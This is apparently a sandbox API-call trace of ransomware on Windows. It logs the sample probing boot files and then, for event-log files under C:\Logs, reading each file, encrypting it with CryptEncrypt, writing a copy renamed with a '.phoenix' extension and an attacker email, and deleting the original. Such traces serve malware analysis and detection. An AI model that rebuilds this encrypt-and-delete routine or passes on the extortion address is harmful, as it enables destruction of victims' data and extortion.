	[0213.906] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.906] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.909] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=76128) returned 1
	[0213.909] CloseHandle (hObject=0x23c) returned 1
	[0213.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20
	[0213.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.909] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.910] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.910] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.910] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=44952) returned 1
	[0213.910] CloseHandle (hObject=0x23c) returned 1
	[0213.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20
	[0213.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.910] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.910] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.910] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.910] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=75096) returned 1
	[0213.911] CloseHandle (hObject=0x23c) returned 1
	[0213.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20
	[0213.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.911] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.911] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.911] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.911] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=45472) returned 1
	[0213.911] CloseHandle (hObject=0x23c) returned 1
	[0213.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20
	[0213.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.911] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.911] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.912] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.912] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=77152) returned 1
	[0213.912] CloseHandle (hObject=0x23c) returned 1
	[0213.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20
	[0213.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.912] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.912] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.912] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.912] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=63840) returned 1
	[0213.912] CloseHandle (hObject=0x23c) returned 1
	[0213.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20
	[0213.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.912] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.913] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.913] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.913] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=42400) returned 1
	[0213.913] CloseHandle (hObject=0x23c) returned 1
	[0213.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20
	[0213.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.913] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.913] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.913] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.913] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=63832) returned 1
	[0213.913] CloseHandle (hObject=0x23c) returned 1
	[0213.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20
	[0213.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.913] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.914] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.914] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.914] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=42328) returned 1
	[0213.914] CloseHandle (hObject=0x23c) returned 1
	[0213.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20
	[0213.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.914] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.914] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.914] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.914] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=63840) returned 1
	[0213.914] CloseHandle (hObject=0x23c) returned 1
	[0213.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20
	[0213.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.915] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.915] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.915] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.915] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=42392) returned 1
	[0213.915] CloseHandle (hObject=0x23c) returned 1
	[0213.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20
	[0213.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.915] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.915] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.915] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0214.062] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=395226) returned 1
	[0214.062] CloseHandle (hObject=0x23c) returned 1
	[0214.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27
	[0214.062] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0214.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\bootmgr.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.063] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.063] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0
	[0214.063] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0214.063] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0214.079] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=1) returned 1
	[0214.079] CloseHandle (hObject=0x52c) returned 1
	[0214.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26
	[0214.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\bootnxt.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.080] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.129] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0214.129] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0214.138] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=69632) returned 1
	[0214.139] CloseHandle (hObject=0x548) returned 1
	[0214.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20
	[0214.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\hardwareevents.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.139] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0214.139] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa58 | out: lpNewFilePointer=0x0) returned 1
	[0214.139] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa58 | out: lpNewFilePointer=0x0) returned 1
	[0214.139] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\hardwareevents.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0214.140] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fa6c | out: phKey=0x3d1fa6c*=0x645d38) returned 1
	[0214.140] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0x3d1fb18, dwFlags=0x0) returned 1
	[0214.141] ReadFile (in: hFile=0x548, lpBuffer=0x40e4020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3d1fa94, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesRead=0x3d1fa94*=0x11000, lpOverlapped=0x0) returned 1
	[0214.176] CryptEncrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x11010, dwBufLen=0x11010 | out: pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x11010) returned 1
	[0214.176] WriteFile (in: hFile=0x524, lpBuffer=0x40e4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3d1fa78, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesWritten=0x3d1fa78*=0x11010, lpOverlapped=0x0) returned 1
	[0214.178] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fa70 | out: phKey=0x3d1fa70*=0x665718) returned 1
	[0214.178] CryptSetKeyParam (hKey=0x665718, dwParam=0x1, pbData=0x3d1fb18, dwFlags=0x0) returned 1
	[0214.178] CryptEncrypt (in: hKey=0x665718, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x50, dwBufLen=0x50 | out: pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x50) returned 1
	[0214.178] CryptDestroyKey (hKey=0x665718) returned 1
	[0214.178] WriteFile (in: hFile=0x524, lpBuffer=0x40e4020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3d1fa78, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesWritten=0x3d1fa78*=0x102, lpOverlapped=0x0) returned 1
	[0214.178] CryptDestroyKey (hKey=0x645d38) returned 1
	[0214.178] CloseHandle (hObject=0x548) returned 1
	[0214.178] CloseHandle (hObject=0x524) returned 1
	[0214.180] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1
	[0214.181] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0214.181] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0214.181] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=69632) returned 1
	[0214.182] CloseHandle (hObject=0x524) returned 1
	[0214.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20
	[0214.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\internet explorer.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.182] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0214.182] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa58 | out: lpNewFilePointer=0x0) returned 1
	[0214.182] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa58 | out: lpNewFilePointer=0x0) returned 1
	[0214.182] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\internet explorer.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0214.182] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fa6c | out: phKey=0x3d1fa6c*=0x645d38) returned 1
	[0214.182] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0x3d1fb18, dwFlags=0x0) returned 1
	[0214.182] ReadFile (in: hFile=0x524, lpBuffer=0x40e4020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3d1fa94, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesRead=0x3d1fa94*=0x11000, lpOverlapped=0x0) returned 1
	[0214.193] CryptEncrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x11010, dwBufLen=0x11010 | out: pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x11010) returned 1
	[0214.193] WriteFile (in: hFile=0x548, lpBuffer=0x40e4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3d1fa78, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesWritten=0x3d1fa78*=0x11010, lpOverlapped=0x0) returned 1
	[0214.195] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fa70 | out: phKey=0x3d1fa70*=0x665d58) returned 1
	[0214.195] CryptSetKeyParam (hKey=0x665d58, dwParam=0x1, pbData=0x3d1fb18, dwFlags=0x0) returned 1
	[0214.195] CryptEncrypt (in: hKey=0x665d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x50, dwBufLen=0x50 | out: pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x50) returned 1
	[0214.195] CryptDestroyKey (hKey=0x665d58) returned 1
	[0214.195] WriteFile (in: hFile=0x548, lpBuffer=0x40e4020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3d1fa78, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesWritten=0x3d1fa78*=0x102, lpOverlapped=0x0) returned 1
	[0214.195] CryptDestroyKey (hKey=0x645d38) returned 1
	[0214.195] CloseHandle (hObject=0x524) returned 1
	[0214.195] CloseHandle (hObject=0x548) returned 1
	[0214.197] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1
